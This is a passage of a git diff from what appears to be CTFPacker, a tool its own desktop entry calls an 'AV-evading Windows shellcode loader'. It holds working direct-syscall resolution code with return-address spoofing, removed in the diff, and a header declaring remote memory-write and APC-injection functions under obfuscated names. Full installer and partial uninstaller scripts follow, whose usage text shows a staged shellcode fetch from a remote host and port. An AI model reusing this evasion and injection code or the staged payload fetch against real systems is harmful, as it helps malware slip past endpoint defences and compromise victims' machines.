PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS* PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define SW3_SEED 0x51EBD349
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 600
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
EXTERN_C NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NTQAT(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
#endif
|
||||
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 149 KiB |
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 130 KiB |
+316
@@ -0,0 +1,316 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# CTFPacker – Automated Installer for Debian-based systems
|
||||
# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
|
||||
# ── Colours ──────────────────────────────────────────────────────────────────
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
BOLD='\033[1m'
|
||||
NC='\033[0m'
|
||||
|
||||
log_info() { echo -e "${CYAN}[*]${NC} $*"; }
|
||||
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
|
||||
log_warn() { echo -e "${YELLOW}[!]${NC} $*"; }
|
||||
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
|
||||
log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; }
|
||||
|
||||
# ── Root check ───────────────────────────────────────────────────────────────
|
||||
if [[ $EUID -ne 0 ]]; then
|
||||
log_error "This script must be run as root."
|
||||
echo -e " Try: ${YELLOW}sudo bash install.sh${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Debian/apt check ─────────────────────────────────────────────────────────
|
||||
if ! command -v apt-get &>/dev/null; then
|
||||
log_error "apt-get not found."
|
||||
log_error "This installer only supports Debian-based systems (Kali Linux, Ubuntu, Debian)."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Resolve the real (non-root) user that invoked sudo ───────────────────────
|
||||
# pipx must be run as the actual user, not root, so binaries land in
|
||||
# ~/.local/bin of the invoking user rather than /root/.local/bin.
|
||||
REAL_USER="${SUDO_USER:-$USER}"
|
||||
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
|
||||
PIPX_BIN="$REAL_HOME/.local/bin"
|
||||
|
||||
# ── Paths ────────────────────────────────────────────────────────────────────
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
LINUX_DIR="$SCRIPT_DIR/Linux"
|
||||
|
||||
if [[ ! -d "$LINUX_DIR" ]]; then
|
||||
log_error "Linux/ directory not found. Make sure you run this from the CTFPacker root."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Banner ───────────────────────────────────────────────────────────────────
|
||||
echo ""
|
||||
echo -e "${RED}${BOLD}"
|
||||
cat << 'EOF'
|
||||
|
||||
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
|
||||
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
|
||||
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
|
||||
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
|
||||
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
|
||||
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
|
||||
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
|
||||
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
|
||||
░ ░
|
||||
|
||||
EOF
|
||||
echo -e "${NC}"
|
||||
echo -e " ${CYAN}Automated Installer — Debian-based systems${NC}"
|
||||
echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}"
|
||||
echo ""
|
||||
|
||||
# =============================================================================
|
||||
# STEP 1 — APT packages
|
||||
# =============================================================================
|
||||
log_banner "STEP 1/3 — Installing APT dependencies"
|
||||
|
||||
APT_PKGS=(
|
||||
clang # Clang compiler (cross-compilation)
|
||||
lld # LLVM linker (used with -fuse-ld=lld)
|
||||
make # GNU Make
|
||||
nasm # Netwide Assembler (for SysWhispers asm)
|
||||
mingw-w64 # MinGW-w64 cross-compilation toolchain
|
||||
python3 # Python 3 interpreter
|
||||
pipx # Isolated Python app installer
|
||||
osslsigncode # PE code signing (optional, needed for -pfx)
|
||||
)
|
||||
|
||||
log_info "Updating package lists..."
|
||||
apt-get update -qq
|
||||
|
||||
log_info "Installing: ${APT_PKGS[*]}"
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -y "${APT_PKGS[@]}"
|
||||
|
||||
log_success "APT packages installed."
|
||||
|
||||
# =============================================================================
|
||||
# STEP 2 — pipx install
|
||||
# =============================================================================
|
||||
log_banner "STEP 2/3 — Installing CTFPacker via pipx"
|
||||
|
||||
# Ensure pipx's bin dir is on PATH for this session
|
||||
export PATH="$PIPX_BIN:$PATH"
|
||||
|
||||
# pipx ensurepath writes to the real user's shell rc files
|
||||
log_info "Running pipx ensurepath for user '$REAL_USER' ..."
|
||||
sudo -u "$REAL_USER" pipx ensurepath --force
|
||||
|
||||
# If a previous install exists, reinstall cleanly
|
||||
if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then
|
||||
log_warn "Existing ctfpacker pipx install found — reinstalling."
|
||||
sudo -u "$REAL_USER" pipx uninstall ctfpacker
|
||||
fi
|
||||
|
||||
log_info "Installing CTFPacker package (from $LINUX_DIR) ..."
|
||||
sudo -u "$REAL_USER" pipx install "$LINUX_DIR"
|
||||
|
||||
log_success "CTFPacker installed via pipx."
|
||||
log_info "Binaries are available at: $PIPX_BIN"
|
||||
|
||||
# =============================================================================
|
||||
# STEP 2b — Desktop entry (.desktop file + icon)
|
||||
# =============================================================================
|
||||
log_banner "STEP 2b/3 — Installing desktop application entry"
|
||||
|
||||
ICON_DIR="$REAL_HOME/.local/share/icons"
|
||||
APPS_DIR="$REAL_HOME/.local/share/applications"
|
||||
DESKTOP_PATH="$APPS_DIR/ctfpacker-gui.desktop"
|
||||
|
||||
mkdir -p "$ICON_DIR" "$APPS_DIR"
|
||||
|
||||
# ── PNG icon (bundled Logo.png from assets/) ──────────────────────────────────
|
||||
LOGO_SRC="$SCRIPT_DIR/assets/Logo.png"
|
||||
ICON_PATH="$ICON_DIR/ctfpacker.png"
|
||||
|
||||
if [[ -f "$LOGO_SRC" ]]; then
|
||||
cp "$LOGO_SRC" "$ICON_PATH"
|
||||
chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$ICON_PATH"
|
||||
chmod 644 "$ICON_PATH"
|
||||
log_success "Icon installed → $ICON_PATH"
|
||||
else
|
||||
log_warn "assets/Logo.png not found — desktop icon will be missing."
|
||||
ICON_PATH="ctfpacker" # fall back to XDG theme lookup
|
||||
fi
|
||||
|
||||
# ── .desktop file ─────────────────────────────────────────────────────────────
|
||||
cat > "$DESKTOP_PATH" << DESKTOPEOF
|
||||
[Desktop Entry]
|
||||
Version=1.0
|
||||
Type=Application
|
||||
Name=CTFPacker GUI
|
||||
GenericName=Shellcode Packer
|
||||
Comment=AV-evading Windows shellcode loader for CTFs and pentest exams
|
||||
Exec=$PIPX_BIN/ctfpacker-gui
|
||||
Icon=$ICON_PATH
|
||||
Terminal=false
|
||||
Categories=Security;Development;
|
||||
Keywords=ctf;pentest;shellcode;packer;redteam;av;evasion;
|
||||
StartupWMClass=CTFPacker
|
||||
StartupNotify=true
|
||||
DESKTOPEOF
|
||||
|
||||
chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$DESKTOP_PATH"
|
||||
chmod 644 "$DESKTOP_PATH"
|
||||
log_success "Desktop entry installed → $DESKTOP_PATH"
|
||||
|
||||
# Refresh the desktop database so the launcher picks it up immediately
|
||||
if command -v update-desktop-database &>/dev/null; then
|
||||
sudo -u "$REAL_USER" update-desktop-database "$APPS_DIR" 2>/dev/null || true
|
||||
log_success "Desktop database updated."
|
||||
fi
|
||||
|
||||
# GTK icon cache refresh (GNOME / XFCE)
|
||||
if command -v gtk-update-icon-cache &>/dev/null; then
|
||||
gtk-update-icon-cache -f -t "$ICON_DIR" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# STEP 2c — Shell aliases (ctfp / ctfpg)
|
||||
# =============================================================================
|
||||
ALIAS_BLOCK='
|
||||
# ── CTFPacker aliases ────────────────────────────────────────────────────────
|
||||
alias ctfp="ctfpacker"
|
||||
alias ctfpg="ctfpacker-gui"
|
||||
# ────────────────────────────────────────────────────────────────────────────'
|
||||
|
||||
install_aliases() {
|
||||
local rc_file="$1"
|
||||
if [[ -f "$rc_file" ]]; then
|
||||
if grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then
|
||||
log_warn "Aliases already present in $rc_file — skipping."
|
||||
else
|
||||
echo "$ALIAS_BLOCK" >> "$rc_file"
|
||||
log_success "Aliases added to $rc_file"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
BASHRC="$REAL_HOME/.bashrc"
|
||||
ZSHRC="$REAL_HOME/.zshrc"
|
||||
|
||||
install_aliases "$BASHRC"
|
||||
install_aliases "$ZSHRC"
|
||||
|
||||
# Apply immediately to the current (root) session so the verify step can see them
|
||||
# shellcheck disable=SC1090
|
||||
eval "alias ctfp='ctfpacker'; alias ctfpg='ctfpacker-gui'"
|
||||
|
||||
# =============================================================================
|
||||
# STEP 3 — Verify toolchain
|
||||
# =============================================================================
|
||||
log_banner "STEP 3/3 — Verifying toolchain"
|
||||
|
||||
MISSING=()
|
||||
|
||||
check_tool() {
|
||||
local tool="$1"
|
||||
local display="${2:-$1}"
|
||||
if command -v "$tool" &>/dev/null; then
|
||||
log_success "${display} → $(command -v "$tool")"
|
||||
else
|
||||
log_warn "${display} → NOT FOUND in PATH"
|
||||
MISSING+=("$tool")
|
||||
fi
|
||||
}
|
||||
|
||||
check_tool "clang" "clang"
|
||||
check_tool "lld" "lld"
|
||||
check_tool "nasm" "nasm"
|
||||
check_tool "make" "make"
|
||||
check_tool "x86_64-w64-mingw32-gcc" "mingw-w64 (x86_64)"
|
||||
check_tool "osslsigncode" "osslsigncode"
|
||||
check_tool "pipx" "pipx"
|
||||
|
||||
# Check ctfpacker entry point (may not be in root's PATH yet — check by full path)
|
||||
if [[ -f "$PIPX_BIN/ctfpacker" ]]; then
|
||||
log_success "ctfpacker → $PIPX_BIN/ctfpacker"
|
||||
else
|
||||
log_warn "ctfpacker entry point not found in $PIPX_BIN"
|
||||
MISSING+=("ctfpacker")
|
||||
fi
|
||||
|
||||
# Verify MinGW sysroot paths used by Makefile
|
||||
TARGET_TRIPLE="x86_64-w64-mingw32"
|
||||
MINGW_INCLUDE="/usr/${TARGET_TRIPLE}/include"
|
||||
MINGW_LIB="/usr/${TARGET_TRIPLE}/lib"
|
||||
GCC_WIN32_PATH="$(find /usr/lib/gcc/${TARGET_TRIPLE}/ -type d -name "*win32" 2>/dev/null | head -n1 || true)"
|
||||
|
||||
if [[ -d "$MINGW_INCLUDE" ]]; then
|
||||
log_success "MinGW includes → $MINGW_INCLUDE"
|
||||
else
|
||||
log_warn "MinGW includes not found at $MINGW_INCLUDE"
|
||||
MISSING+=("mingw-include")
|
||||
fi
|
||||
|
||||
if [[ -d "$MINGW_LIB" ]]; then
|
||||
log_success "MinGW libs → $MINGW_LIB"
|
||||
else
|
||||
log_warn "MinGW libs not found at $MINGW_LIB"
|
||||
MISSING+=("mingw-lib")
|
||||
fi
|
||||
|
||||
if [[ -n "$GCC_WIN32_PATH" ]]; then
|
||||
log_success "GCC win32 path → $GCC_WIN32_PATH"
|
||||
else
|
||||
log_warn "GCC win32 runtime path not found (will fall back to MINGW_LIB in Makefile)"
|
||||
fi
|
||||
|
||||
# Check for winhttp / ntdll import stubs (needed at link time)
|
||||
for stub in libwinhttp.a libntdll.a; do
|
||||
if [[ -f "$MINGW_LIB/$stub" ]]; then
|
||||
log_success "$stub found"
|
||||
else
|
||||
log_warn "$stub not found in $MINGW_LIB — linking may fail"
|
||||
fi
|
||||
done
|
||||
|
||||
# =============================================================================
|
||||
# Summary
|
||||
# =============================================================================
|
||||
echo ""
|
||||
if [[ ${#MISSING[@]} -gt 0 ]]; then
|
||||
log_warn "Some components were not found: ${MISSING[*]}"
|
||||
log_warn "If these are PATH-related, open a new shell or run:"
|
||||
log_warn " source ~/.bashrc (or ~/.zshrc)"
|
||||
else
|
||||
log_success "All components verified successfully."
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
|
||||
echo -e "${BOLD}${GREEN} Installation complete!${NC}"
|
||||
echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}CTFPacker is installed globally for user '${REAL_USER}'.${NC}"
|
||||
echo -e " ${CYAN}Open a new terminal (or source your shell rc) then:${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}App launcher:${NC}"
|
||||
echo -e " Search for ${YELLOW}CTFPacker GUI${NC} in your application menu / launcher"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Run CTFPacker (CLI):${NC}"
|
||||
echo -e " ${YELLOW}ctfpacker -h${NC} ${CYAN}or${NC} ${YELLOW}ctfp -h${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Run CTFPacker (GUI):${NC}"
|
||||
echo -e " ${YELLOW}ctfpacker-gui${NC} ${CYAN}or${NC} ${YELLOW}ctfpg${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Staged example:${NC}"
|
||||
echo -e " ${YELLOW}ctfp staged -p shellcode.bin -i 192.168.1.1 -po 8080 -pa /shell.bin -e -s${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Stageless example:${NC}"
|
||||
echo -e " ${YELLOW}ctfp stageless -p shellcode.bin -e -s${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}Aliases installed:${NC} ${YELLOW}ctfp${NC} → ctfpacker ${YELLOW}ctfpg${NC} → ctfpacker-gui"
|
||||
echo -e " ${CYAN}(Reload your shell:${NC} ${YELLOW}source ~/.bashrc${NC} or open a new terminal)"
|
||||
echo ""
|
||||
+198
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# CTFPacker – Uninstaller for Debian-based systems
|
||||
# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
|
||||
# ── Colours ──────────────────────────────────────────────────────────────────
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
BOLD='\033[1m'
|
||||
NC='\033[0m'
|
||||
|
||||
log_info() { echo -e "${CYAN}[*]${NC} $*"; }
|
||||
log_success() { echo -e "${GREEN}[+]${NC} $*"; }
|
||||
log_warn() { echo -e "${YELLOW}[!]${NC} $*"; }
|
||||
log_error() { echo -e "${RED}[-]${NC} $*" >&2; }
|
||||
log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; }
|
||||
|
||||
# ── Root check ───────────────────────────────────────────────────────────────
|
||||
if [[ $EUID -ne 0 ]]; then
|
||||
log_error "This script must be run as root."
|
||||
echo -e " Try: ${YELLOW}sudo bash uninstall.sh${NC}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Debian/apt check ─────────────────────────────────────────────────────────
|
||||
if ! command -v apt-get &>/dev/null; then
|
||||
log_error "apt-get not found. This uninstaller only supports Debian-based systems."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Resolve the real (non-root) user ─────────────────────────────────────────
|
||||
REAL_USER="${SUDO_USER:-$USER}"
|
||||
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
|
||||
PIPX_BIN="$REAL_HOME/.local/bin"
|
||||
|
||||
# ── Banner ───────────────────────────────────────────────────────────────────
|
||||
echo ""
|
||||
echo -e "${RED}${BOLD}"
|
||||
cat << 'EOF'
|
||||
|
||||
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
|
||||
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
|
||||
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
|
||||
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
|
||||
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
|
||||
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
|
||||
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
|
||||
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
|
||||
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
|
||||
░ ░
|
||||
|
||||
EOF
|
||||
echo -e "${NC}"
|
||||
echo -e " ${CYAN}Uninstaller — Debian-based systems${NC}"
|
||||
echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}"
|
||||
echo ""
|
||||
|
||||
# =============================================================================
|
||||
# Confirmation
|
||||
# =============================================================================
|
||||
echo -e "${YELLOW}${BOLD}This will remove:${NC}"
|
||||
echo -e " • CTFPacker pipx package + entry points (ctfpacker, ctfpacker-gui)"
|
||||
echo -e " • Desktop entry and icon"
|
||||
echo -e " • Shell aliases (ctfp, ctfpg) from .bashrc / .zshrc"
|
||||
echo -e " • Build artifacts (.ctfpacker/ temp dir, if present)"
|
||||
echo ""
|
||||
read -rp "$(echo -e "${BOLD}Continue? [y/N] ${NC}")" CONFIRM
|
||||
if [[ ! "$CONFIRM" =~ ^[Yy]$ ]]; then
|
||||
log_warn "Aborted."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# STEP 1 — Remove pipx package
|
||||
# =============================================================================
|
||||
log_banner "STEP 1 — Removing pipx package"
|
||||
|
||||
if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then
|
||||
sudo -u "$REAL_USER" pipx uninstall ctfpacker
|
||||
log_success "ctfpacker uninstalled from pipx."
|
||||
else
|
||||
log_warn "ctfpacker not found in pipx — skipping."
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# STEP 2 — Remove desktop entry and icon
|
||||
# =============================================================================
|
||||
log_banner "STEP 2 — Removing desktop entry and icon"
|
||||
|
||||
DESKTOP_PATH="$REAL_HOME/.local/share/applications/ctfpacker-gui.desktop"
|
||||
ICON_PATH="$REAL_HOME/.local/share/icons/ctfpacker.png"
|
||||
|
||||
if [[ -f "$DESKTOP_PATH" ]]; then
|
||||
rm -f "$DESKTOP_PATH"
|
||||
log_success "Desktop entry removed."
|
||||
else
|
||||
log_warn "Desktop entry not found — skipping."
|
||||
fi
|
||||
|
||||
if [[ -f "$ICON_PATH" ]]; then
|
||||
rm -f "$ICON_PATH"
|
||||
log_success "Icon removed."
|
||||
else
|
||||
log_warn "Icon not found — skipping."
|
||||
fi
|
||||
|
||||
# Refresh desktop database
|
||||
if command -v update-desktop-database &>/dev/null; then
|
||||
sudo -u "$REAL_USER" update-desktop-database "$REAL_HOME/.local/share/applications" 2>/dev/null || true
|
||||
fi
|
||||
if command -v gtk-update-icon-cache &>/dev/null; then
|
||||
gtk-update-icon-cache -f -t "$REAL_HOME/.local/share/icons" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# =============================================================================
|
||||
# STEP 3 — Remove shell aliases
|
||||
# =============================================================================
|
||||
log_banner "STEP 3 — Removing shell aliases"
|
||||
|
||||
remove_aliases() {
|
||||
local rc_file="$1"
|
||||
if [[ -f "$rc_file" ]] && grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then
|
||||
# Remove the alias block (comment header + 2 alias lines + footer comment)
|
||||
sed -i '/# ── CTFPacker aliases/,/# ──────────────────────────────────────────────────────────────────────────────/d' "$rc_file"
|
||||
# Also strip any leftover blank line that sed may leave
|
||||
sed -i '/^$/N;/^\n$/d' "$rc_file"
|
||||
log_success "Aliases removed from $rc_file"
|
||||
else
|
||||
log_warn "No CTFPacker aliases found in ${rc_file} — skipping."
|
||||
fi
|
||||
}
|
||||
|
||||
remove_aliases "$REAL_HOME/.bashrc"
|
||||
remove_aliases "$REAL_HOME/.zshrc"
|
||||
|
||||
# =============================================================================
|
||||
